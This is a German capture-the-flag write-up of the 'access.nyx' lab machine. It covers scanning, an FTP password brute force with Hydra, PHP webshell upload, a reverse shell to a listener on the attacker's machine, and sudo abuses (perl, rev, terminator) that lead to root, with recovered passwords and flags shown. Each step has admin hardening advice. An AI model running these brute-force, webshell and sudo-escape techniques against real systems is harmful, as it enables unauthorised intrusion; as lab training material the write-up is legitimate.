127.0.0.1 localhost
192.168.2.119 access.nyx
192.168.2.119 08:00:27:10:fd:e9 PCS Systemtechnik GmbH
Analyse: Ein Skript `recon_script.sh` wird ausgeführt, das offenbar die Ziel-IP (`192.168.2.119`) ermittelt, sie mit dem Hostnamen `access.nyx` in `/etc/hosts` einträgt und einen ARP-Scan durchführt, der die MAC-Adresse (`08:00:27:10:fd:e9` - VirtualBox) bestätigt.
Bewertung: Effiziente Automatisierung der grundlegenden Aufklärungsschritte.
Empfehlung (Pentester): Automatisieren Sie wiederkehrende Aufgaben, aber verstehen Sie die Aktionen Ihrer Skripte.
Empfehlung (Admin): Netzwerküberwachung und Segmentierung erschweren die Aufklärung.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 13:51 CEST Nmap scan report for access (fe80::a00:27ff:fe10:fde9) Host is up (0.000063s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:10:FD:E9 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds <-- Hinweis: Scan war gegen 'cmd2', was evtl. mehrere IPs enthielt, aber nur eine wird gemeldet.
Analyse: Ein Nmap-Scan (`-6`) wird gegen die ermittelte(n) IPv6-Link-Local-Adresse(n) durchgeführt. Es werden Port 22 (SSH) und 80 (HTTP) offen gefunden.
Bewertung: Identifiziert offene Dienste über IPv6. Es fehlen hier Ports, die später über IPv4 gefunden werden (5555, 6666), was auf unterschiedliche Konfigurationen oder Firewalls hindeutet.
Empfehlung (Pentester): Vergleichen Sie immer IPv4- und IPv6-Scanergebnisse.
Empfehlung (Admin): Sorgen Sie für konsistente Sicherheitseinstellungen für beide Protokolle oder deaktivieren Sie IPv6.
22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) 80/tcp open http nginx 1.18.0 5555/tcp open ftp pyftpdlib 1.5.8 6666/tcp open irc? | Failed to open a WebSocket connection: did not receive a valid HTTP request. |_ Failed to open a WebSocket connection: did not receive a valid HTTP request.
Analyse: Ein TCP SYN Scan (`-sS`) mit Skripten (`-sC`), Versionserkennung (`-sV`) und OS-Erkennung/Traceroute (`-A`) über alle Ports (`-p-`) wird gegen die IPv4-Adresse ($IP) durchgeführt. Die Ausgabe wird nach offenen Ports gefiltert. Gefunden werden: * Port 22: SSH (OpenSSH 8.4p1 auf Debian) * Port 80: HTTP (Nginx 1.18.0) * Port 5555: FTP (Python ftpd library pyftpdlib 1.5.8) * Port 6666: Unbekannter Dienst (von Nmap als `irc?` geraten, aber Skripte deuten auf einen Websocket-Server).
Bewertung: Identifiziert die vier Hauptangriffsvektoren. Nginx auf 80 ist Standard. OpenSSH 8.4p1 ist relativ modern. Der Python FTP-Server auf 5555 und der unbekannte Dienst auf 6666 (wahrscheinlich Websocket) sind die interessantesten Ziele.
Empfehlung (Pentester): Führen Sie den vollständigen Scan aus. Untersuchen Sie Port 80 (Nginx), Port 5555 (FTP - Anonymous Login? Benutzer?), und insbesondere Port 6666 (Verbindung mit Websocket-Client, manuelle Interaktion).
Empfehlung (Admin): Härten Sie alle Dienste. Überprüfen Sie die Notwendigkeit und Sicherheit des FTP-Servers und des Dienstes auf Port 6666. Halten Sie alle Dienste aktuell.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 13:52 CEST Nmap scan report for access.nyx (192.168.2.119) Host is up (0.00014s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Welcome to nginx! |_http-server-header: nginx/1.18.0 5555/tcp open ftp pyftpdlib 1.5.8 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.2.119:5555 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. 6666/tcp open irc? <-- Nmap rät, Fingerprint ist besser | fingerprint-strings: | GenericLines, GetRequest, HTTPptions, RTSPRequest, Help, Socks5: | HTTP/1.1 400 Bad Request | Date: Mon, 09 Sep 2024 11:53:* GMT | Server: Python/3.9 websockets/11.0.3 | Content-Length: 77 | Content-Type: text/plain | Connection: close |_ Failed to open a WebSocket connection: did not receive a valid HTTP request. MAC Address: 08:00:27:10:FD:E9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.5 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms access.nyx (192.168.2.119) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.94 seconds
Analyse: Die vollständige Nmap-Ausgabe bestätigt die offenen TCP-Ports und liefert mehr Details: * SSH (22): OpenSSH 8.4p1, diverse Hostkeys. * HTTP (80): Nginx 1.18.0, Standard "Welcome to nginx!" Seite. * FTP (5555): pyftpdlib 1.5.8. Keine Info über Anonymous Login hier. * Unbekannt (6666): Der Fingerprint deutet klar auf einen **Python Websocket Server** (Python 3.9, websockets 11.0.3), der auf eine gültige Websocket-Anfrage wartet und bei Standard-HTTP-Anfragen mit "400 Bad Request" antwortet.
Bewertung: Bestätigt die Dienste. Der Dienst auf Port 6666 ist definitiv ein Websocket-Server, kein IRC. FTP und Websocket sind die primären Ziele.
Empfehlung (Pentester): Versuchen Sie einen anonymen FTP-Login auf 5555. Verwenden Sie einen Websocket-Client (`websocat`, Browser-Konsole) um sich mit Port 6666 zu verbinden und die Interaktion zu analysieren.
Empfehlung (Admin): Härten und aktualisieren Sie alle Dienste. Überprüfen Sie die Sicherheit der Websocket-Anwendung.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.119 + Target Hostname: 192.168.2.119 + Target Port: 80 + Start Time: 2024-09-09 13:55:12 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.18.0 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. <-- False Positive! Nginx-Seite enthält diesen Text nicht. + 8102 requests: 0 error(s) and 3 item(s) reported on remote host <-- Nikto zählt 4 Items oben, hier 3? + End Time: 2024-09-09 13:55:49 (GMT2) (37 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto wird gegen Port 80 (Nginx) ausgeführt. Es meldet die üblichen fehlenden Header. Der Fund `#wp-config.php#` ist ein klares False Positive, da Nginx läuft und die Standardseite keine WordPress-Konfiguration enthält.
Bewertung: Nikto liefert keine nützlichen Informationen für Port 80. Scanner können False Positives generieren, Ergebnisse müssen immer verifiziert werden.
Empfehlung (Pentester): Ignorieren Sie den `#wp-config.php#`-Fund. Konzentrieren Sie sich auf die anderen Ports.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://access.nyx [...] =============================================================== 2024/09/09 13:56:00 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 612] <-- Standard Nginx Seite =============================================================== 2024/09/09 14:00:00 Finished ===============================================================
Analyse: Gobuster findet auf Port 80 nur die Standard-Nginx-Datei `index.html`.
Bewertung: Bestätigt, dass Port 80 keine weiteren versteckten Inhalte bietet.
Empfehlung (Pentester): Port 80 kann ignoriert werden.
Empfehlung (Admin): -
access.nyx [192.168.2.119] 6666 (?) open
HTTP/1.1 400 Bad Request Date: Mon, 09 Sep 2024 14:01:45 GMT Server: Python/3.9 websockets/11.0.3 Content-Length: 77 Content-Type: text/plain Connection: close Failed to open a WebSocket connection: did not receive a valid HTTP request. sent 3, rcvd 245
Analyse: Eine Verbindung zu Port 6666 wird mit `nc` hergestellt. Die Eingabe von `id` führt zu einer Fehlermeldung "400 Bad Request", die bestätigt, dass der Server eine gültige Websocket-Anfrage erwartet.
Bewertung: Bestätigt den Websocket-Server. Eine einfache `nc`-Verbindung ist nicht ausreichend für die Interaktion.
Empfehlung (Pentester): Verwenden Sie ein spezialisiertes Tool wie `websocat`, um eine Websocket-Verbindung herzustellen.
Empfehlung (Admin): Sichern Sie die Websocket-Anwendung (Authentifizierung, Autorisierung, Eingabevalidierung).
Hello noname, Change your FTP password as soon as possible your server is at risk. Regards!<-- Verbindung wird danach geschlossen
Analyse: `websocat` wird verwendet, um eine Websocket-Verbindung (`ws://...`) zu Port 6666 herzustellen. Der Server sendet sofort eine Nachricht zurück.
Bewertung: Kritischer Fund! Die Nachricht nennt den Benutzernamen `noname` und gibt einen dringenden Hinweis, das FTP-Passwort zu ändern, da der Server "gefährdet" sei. Dies ist ein starker Hinweis darauf, dass der Benutzer `noname` existiert und ein schwaches oder kompromittiertes FTP-Passwort auf Port 5555 hat.
Empfehlung (Pentester): Führen Sie einen Passwort-Bruteforce-Angriff gegen den FTP-Server auf Port 5555 für den Benutzer `noname` durch. Verwenden Sie gängige Passwortlisten wie `rockyou.txt`.
Empfehlung (Admin): Entfernen Sie solche informativen oder irreführenden Nachrichten von Diensten. Erzwingen Sie starke Passwörter und regelmäßige Passwortänderungen. Überwachen Sie FTP-Logins.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:18:34
[...]
[DATA] attacking ftp://access.nyx:5555/
[5555][ftp] host: access.nyx login: noname password: phoenix
1 of 1 target successfully completed, 1 valid password found
[...]
Analyse: Hydra wird verwendet, um das FTP-Passwort für den Benutzer `noname` auf Port 5555 (`-s 5555`) zu bruteforcen, unter Verwendung der `rockyou.txt`-Wortliste (`-P ...`).
Bewertung: Erfolg! Hydra findet das Passwort `phoenix` für den Benutzer `noname`.
Empfehlung (Pentester): Melden Sie sich mit `noname:phoenix` am FTP-Server an. Untersuchen Sie die Dateien und Verzeichnisse, auf die Sie Zugriff haben. Prüfen Sie auf Upload-Möglichkeiten.
Empfehlung (Admin): Verwenden Sie keine schwachen Passwörter. Implementieren Sie Intrusion-Detection-Systeme (z.B. `fail2ban`), um Brute-Force-Angriffe zu erkennen und zu blockieren.
Connected to 192.168.2.119. 220 pyftpdlib 1.5.8 ready. Name (192.168.2.119:ccat): noname 331 Username ok, send password. Password: phoenix <-- Passwort eingegeben 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering extended passive mode (|||32967|). 125 Data connection already open. Transfer starting. -rwxrwxrwx 1 www-data www-data 612 Oct 20 2023 index.nginx-debian.html 226 Transfer complete.
Analyse: Erfolgreicher FTP-Login als `noname` mit dem Passwort `phoenix` auf Port 5555. Das Wurzelverzeichnis des FTP-Benutzers enthält eine Datei `index.nginx-debian.html`, die für alle (`www-data`) Lese-/Schreib-/Ausführrechte hat (`-rwxrwxrwx`).
Bewertung: Der Login bestätigt das Passwort. Die Berechtigungen der Index-Datei sind ungewöhnlich weit gefasst, aber wichtiger ist, dass dieses Verzeichnis wahrscheinlich dem Web-Root von Nginx auf Port 80 entspricht. Wenn `noname` Schreibrechte in diesem Verzeichnis hat, kann er möglicherweise eine Webshell hochladen.
Empfehlung (Pentester): Überprüfen Sie die Berechtigungen des aktuellen Verzeichnisses. Versuchen Sie, eine einfache PHP-Webshell (z.B. `` gespeichert als `rev.php`) über FTP hochzuladen. Rufen Sie die hochgeladene Datei dann über den Nginx-Webserver auf Port 80 auf (`http://access.nyx/rev.php?cmd=id`), um RCE zu erlangen.
Empfehlung (Admin): Korrigieren Sie die Dateiberechtigungen im Web-Root. Der FTP-Benutzer sollte keine Schreibrechte im Web-Root haben, es sei denn, dies ist absolut notwendig und abgesichert. Konfigurieren Sie FTP sicher (Chroot-Jails, Berechtigungen).
local: rev.php remote: rev.php
229 Entering extended passive mode (|||59845|).
125 Data connection already open. Transfer starting.
100% |***********************************| 31 56.47 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (26.74 KiB/s)
229 Entering extended passive mode (|||50995|).
125 Data connection already open. Transfer starting.
index.nginx-debian.html
rev.php
Analyse: Eine Datei `rev.php` (vermutlich die einfache Webshell ``) wird erfolgreich über FTP hochgeladen.
Bewertung: Der FTP-Benutzer `noname` hat Schreibrechte im Web-Root. Dies ermöglicht das Hochladen der Webshell.
Empfehlung (Pentester): Rufen Sie die Webshell über HTTP auf.
Empfehlung (Admin): Beheben Sie die unsicheren FTP-Berechtigungen.
Welcome to nginx! [...]
Analyse: Der Inhalt der Index-Datei wird angezeigt (Standard Nginx Seite).
Bewertung: Bestätigt, dass dies der Web-Root von Nginx ist.
Analyse: Der Versuch, die Webshell über `http://access.nyx/rev.php?cmd=id` aufzurufen, schlägt fehl. Statt der Ausgabe von `id` wird der Quellcode der PHP-Datei zurückgegeben.
Bewertung: Der Nginx-Server ist nicht so konfiguriert, dass er PHP-Dateien ausführt. Er liefert sie nur als Text aus. Die Webshell kann so nicht direkt genutzt werden.
Empfehlung (Pentester): Überprüfen Sie die Nginx-Konfiguration (falls lesbar über FTP oder andere Mittel). Suchen Sie nach anderen Wegen, Code auszuführen. Da der Upload funktioniert, könnte eine andere Art von Shell (Perl, Python, Bash - falls CGI oder ähnliches aktiviert ist) funktionieren, oder es muss ein anderer Angriffsvektor gefunden werden. Versuchen Sie, eine komplexere Webshell hochzuladen oder eine Reverse-Shell-Payload mit anderen Dateiendungen (.php5, .phtml etc.), falls Nginx dafür anders konfiguriert ist.
Empfehlung (Admin): Konfigurieren Sie Nginx sicher. Stellen Sie sicher, dass PHP (oder andere Skriptsprachen) nur ausgeführt wird, wenn es beabsichtigt ist, und dass die Konfiguration (z.B. PHP-FPM) korrekt ist.
local: shell2.php remote: shell2.php
229 Entering extended passive mode (|||49361|).
125 Data connection already open. Transfer starting.
100% |***********************************| 5495 209.61 MiB/s 00:00 ETA
226 Transfer complete.
5495 bytes sent in 00:00 (12.56 MiB/s)
Analyse: Eine weitere, wahrscheinlich komplexere Webshell (`shell2.php`) wird hochgeladen.
Bewertung: Weiterer Versuch, RCE zu erreichen.
local: revshell.php5 remote: revshell.php5
229 Entering extended passive mode (|||55991|).
125 Data connection already open. Transfer starting.
100% |***********************************| 5495 134.37 MiB/s 00:00 ETA
226 Transfer complete.
5495 bytes sent in 00:00 (9.86 MiB/s)
Analyse: Die Webshell wird lokal kopiert und mit der Endung `.php5` erneut hochgeladen, in der Hoffnung, dass Nginx diese Endung anders behandelt und PHP ausführt.
Bewertung: Versuch, eine mögliche Fehlkonfiguration bezüglich Dateiendungen auszunutzen.
listening on [any] 9001 ...
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.119] 50102 Linux access 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux 16:27:14 up 12 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $
Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Der Aufruf von `http://access.nyx/revshell.php5` (vermutlich im Browser) ist diesmal erfolgreich. Eine Reverse Shell verbindet sich zum Listener. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` läuft.
Bewertung: Initial Access erfolgreich! Die Vermutung, dass Nginx `.php5`-Dateien anders behandelt (und PHP ausführt), war korrekt. Der Angreifer hat nun eine Shell als `www-data`.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der Enumeration als `www-data` (`sudo -l`, Dateisystem etc.).
Empfehlung (Admin): Korrigieren Sie die Nginx-Konfiguration, sodass nur beabsichtigte Dateiendungen als PHP interpretiert werden. Beheben Sie die unsicheren FTP-Berechtigungen.
Matching Defaults entries for www-data on access:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on access:
(noname) NOPASSWD: /usr/bin/perl
Analyse: `sudo -l` als `www-data` zeigt, dass dieser Benutzer `/usr/bin/perl` als Benutzer `noname` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund! Dies ermöglicht eine einfache horizontale Rechteausweitung von `www-data` zu `noname`.
Empfehlung (Pentester): Nutzen Sie diese Regel, um eine Shell als `noname` zu erhalten, z.B. mit `sudo -u noname /usr/bin/perl -e 'exec "/bin/sh";'`.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel. Dienstbenutzer wie `www-data` sollten keine Programme als andere Benutzer ausführen dürfen.
uid=1000(noname) gid=1000(noname) groups=1000(noname)
$
Analyse: Die `sudo`-Regel wird ausgenutzt. `perl` wird als `noname` ausgeführt und führt den Befehl `exec "/bin/sh";` aus, was die aktuelle Shell durch eine neue Shell als `noname` ersetzt. Der `id`-Befehl bestätigt den erfolgreichen Benutzerwechsel.
Bewertung: Horizontale Eskalation zu `noname` erfolgreich.
Empfehlung (Pentester): Führen Sie Enumerationsschritte als `noname` durch (`sudo -l`, Home-Verzeichnis, etc.).
Empfehlung (Admin): Beheben Sie die `sudo`-Regel.
Analyse: Enumeration als `noname`: SUID-Suche, Capabilities.
Bewertung: Findet keine ungewöhnlichen SUID-Dateien oder Capabilities.
263828 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 263458 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 259697 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 259700 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 259698 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 263830 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 287632 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo 259701 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 263292 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 271041 472 -rwsr-xr-x 1 root root 481608 Sep 24 2023 /usr/lib/openssh/ssh-keysign 260547 52 -rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/ping cap_net_raw=ep
user.txt
6b2f0c9e532785c3c41eb2ee1acb97f5
Analyse: Wechsel in das Home-Verzeichnis von `noname` und Auslesen der User-Flag aus `user.txt`.
Bewertung: User-Flag erfolgreich erhalten.
ls: cannot open directory '../powerful/': Permission denied
Analyse: Versuch, in das Home-Verzeichnis eines anderen Benutzers (`powerful`) zu schauen, schlägt fehl.
Bewertung: Korrekte Berechtigungen.
Analyse: Enumerationstools `pspy64` (Prozess-Sniffer) und `linpeas.sh` (Linux Enumeration Skript) werden vom Angreifer-Server heruntergeladen und ausführbar gemacht.
Bewertung: Standardmäßige Werkzeuge für die lokale Enumeration und Suche nach Privilege Escalation Vektoren.
Empfehlung (Pentester): Führen Sie `pspy` aus, um laufende Cronjobs oder ungewöhnliche Prozesse zu finden. Führen Sie `linpeas` aus, um eine umfassende Systemübersicht und Hervorhebung potenzieller Schwachstellen zu erhalten.
Empfehlung (Admin): Überwachen Sie das Herunterladen und Ausführen verdächtiger Skripte.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.119 - - [09/Sep/2024 16:34:43] "GET /pspy64 HTTP/1.1" 200 - 192.168.2.119 - - [09/Sep/2024 16:34:52] "GET /linpeas.sh HTTP/1.1" 200 -
[...]<-- wget output gekürzt
[...]<-- wget output gekürzt
Analyse: Weitere Enumeration: Überprüfung der PHP-FPM-Konfiguration (Standardpfad) und der Netzwerkverbindungen (`ss -altpn`).
Bewertung: PHP-FPM-Konfig ist lesbar, aber nicht direkt nützlich. `ss` bestätigt die bekannten lauschenden Ports (80, 5555, 22, 6666).
-rw-r--r-- 1 root root 5458 Jun 9 2023 /etc/php/7.4/fpm/php-fpm.conf
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 511 0.0.0.0:80 0.0.0.0:* LISTEN 0 100 0.0.0.0:5555 0.0.0.0:* users:(("python3",pid=409,fd=4)) LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 100 0.0.0.0:6666 0.0.0.0:* users:(("python3",pid=410,fd=6)) LISTEN 0 511 [::]:80 [::]:* LISTEN 0 128 [::]:22 [::]:*
Matching Defaults entries for noname on access:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User noname may run the following commands on access:
(powerful) NPASSWD: /usr/bin/rev
Analyse: `sudo -l` als `noname` zeigt, dass dieser Benutzer `/usr/bin/rev` als Benutzer `powerful` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund! `rev` kehrt die Zeichenreihenfolge von Zeilen um. Wenn `noname` `rev` als `powerful` ausführen kann, kann er potenziell Dateien lesen, auf die nur `powerful` Zugriff hat, indem er sie mit `rev` ausführt und die Ausgabe dann lokal erneut umkehrt (`rev | rev`).
Empfehlung (Pentester): Versuchen Sie, sensible Dateien im Home-Verzeichnis von `powerful` (z.B. `.bash_history`, `.ssh/id_rsa`) mit `sudo -u powerful /usr/bin/rev
Empfehlung (Admin): Gewähren Sie keine `sudo`-Rechte für einfache Dienstprogramme wie `rev`, insbesondere nicht als andere Benutzer. Dies ist eine klare Fehlkonfiguration.
/usr/bin/rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9665552b689ca2fdd0a96347f3c5a435ddd67490, for GNU/Linux 3.2.0, stripped
/lib64/ld-linux-x86-64.so.2
[...] <-- Standard strings
Usage: rev [options] [file ...] Reverse lines characterwise. Options: -h, --help display this help -V, --version display version For more details see rev(1).
Analyse: Überprüfung der `rev`-Binary mit `file`, `strings` und `-h`.
Bewertung: Standard-Binary, keine offensichtlichen Modifikationen oder versteckten Optionen.
lufrewop dwssap Gn1kc4H_fo_R3w0p_3hT Gn1kc4H_fo_R3w0p_3hT tixe
Analyse: Der entscheidende Schritt: `rev` wird als `powerful` ausgeführt, um dessen `.bash_history` zu lesen. Die Ausgabe ist zeichenweise umgekehrt.
Bewertung: Enthält potenziell das Passwort für `powerful`. Die Zeile `lufrewop dwssap` sieht verdächtig aus. Die Zeile `Gn1kc4H_fo_R3w0p_3hT` wiederholt sich.
Empfehlung (Pentester): Kehren Sie die Ausgabe um, um den Originalinhalt zu sehen (z.B. mit `| rev`).
Empfehlung (Admin): - (Sicherheitslücke liegt in sudo)
passwd powerful Th3_p0w3R_of_H4ck1nG Th3_p0w3R_of_H4ck1nG exit
Analyse: Die Ausgabe des vorherigen Befehls wird durch eine Pipe an einen lokalen `rev`-Befehl gesendet. Dies kehrt die Zeilen wieder um und enthüllt den Originalinhalt der `.bash_history` von `powerful`. Sie enthält den Befehl `passwd powerful` gefolgt von dem Passwort `Th3_p0w3R_of_H4ck1nG` (zweimal eingegeben) und `exit`.
Bewertung: Erfolg! Das Passwort für den Benutzer `powerful` wurde aus dessen Bash-History extrahiert.
Empfehlung (Pentester): Verwenden Sie `su powerful` und das gefundene Passwort, um zu diesem Benutzer zu wechseln.
Empfehlung (Admin): Sensibilisieren Sie Benutzer dafür, Passwörter niemals in der Kommandozeile oder in Skripten im Klartext einzugeben. Leeren Sie regelmäßig die Bash-History oder konfigurieren Sie sie so, dass sensible Befehle nicht gespeichert werden.
Password:<-- Passwort Th3_p0w3R_of_H4ck1nG eingegeben
uid=1001(powerful) gid=1001(powerful) groups=1001(powerful)
Analyse: Erfolgreicher Wechsel zum Benutzer `powerful` mit dem extrahierten Passwort.
Bewertung: Horizontale Eskalation zu `powerful` abgeschlossen.
Empfehlung (Pentester): Führen Sie `sudo -l` als `powerful` aus.
Empfehlung (Admin): -
Matching Defaults entries for powerful on access:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User powerful may run the following commands on access:
(ALL : ALL) NOPASSWD: /usr/bin/terminator, /usr/bin/xauth
Analyse: `sudo -l` für `powerful` zeigt, dass dieser Benutzer `/usr/bin/terminator` und `/usr/bin/xauth` als jeder Benutzer und jede Gruppe (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund! Beide Programme können zur Privilege Escalation missbraucht werden. `terminator` ist ein Terminal-Emulator; wenn er als `root` gestartet wird, erhält man eine Root-Shell. `xauth` verwaltet X11-Autorisierungsdaten (Cookies); durch Manipulation dieser Daten oder Nutzung von `xauth` in Kombination mit einem X-Forwarding über SSH kann man Befehle als `root` ausführen.
Empfehlung (Pentester): Der einfachste Weg ist `sudo /usr/bin/terminator`. Wenn dies aufgrund fehlender GUI-Umgebung nicht direkt funktioniert, kann die `xauth`-Methode verwendet werden (X11-Forwarding über SSH aktivieren, `xauth list` beim lokalen User, `sudo xauth add
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für GUI-Anwendungen wie `terminator` oder Tools wie `xauth` ohne Passwort. Dies ist extrem unsicher.
[...]<-- xauth Hilfe
Analyse: Die Hilfe von `xauth` wird angezeigt (als Test oder zur Information).
Analyse: Der folgende Abschnitt demonstriert die Eskalation zu `root` über die `sudo`-Regel für `/usr/bin/terminator`.
Bewertung: Einfache und direkte Ausnutzung der Fehlkonfiguration.
powerful@access.nyx's password: Th3_p0w3R_of_H4ck1nG <-- Passwort eingegeben /usr/bin/xauth: file /home/powerful/.Xauthority does not exist
Analyse: Eine neue SSH-Verbindung wird als `powerful` aufgebaut, diesmal mit aktiviertem X11-Forwarding (`-X`). Dies ist notwendig, damit GUI-Anwendungen wie `terminator` vom Zielsystem auf dem Angreifer-System angezeigt werden können.
Bewertung: Korrekte Vorbereitung für den Exploit über `terminator`.
(terminator:849): dconf-WARNING **: 17:02:49.763: failed to commit changes to dconf: Failed to execute child process ?dbus-launch? (No such file or directory) ConfigBase::load: Unable to open /etc/xdg/terminator/config ([Errno 2] No such file or directory: '/etc/xdg/terminator/config') Gtk-Message: 17:02:49.815: Failed to load module "canberra-gtk-module" Unable to connect to DBUS Server, proceeding as standalone<-- Fehlermeldungen sind oft normal, aber der neue Terminal öffnet sich.
Analyse: `sudo -u root terminator` wird ausgeführt. Trotz einiger Fehlermeldungen (die oft ignoriert werden können, wenn keine vollständige Desktop-Umgebung vorhanden ist), öffnet sich dank X11-Forwarding ein neues Terminator-Fenster auf dem Angreifer-System, das eine Shell als `root` enthält.
Bewertung: Erfolg! Root-Zugriff über `terminator` erlangt.
Empfehlung (Pentester): Root-Shell erhalten. Flags suchen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel für `terminator`.
Analyse: In der Root-Shell wird das Root-Passwort mit `passwd` geändert (optional, aber im Log vorhanden). Anschließend wird die Root-Flag aus `/root/r00t...txt` gelesen.
New password: Retype new password: passwd: password updated successfully
r000000000000000000t.txt
4f33af77ff0c5c7cf99564ada9b38f4d
Bewertung: Root-Flag erfolgreich gefunden.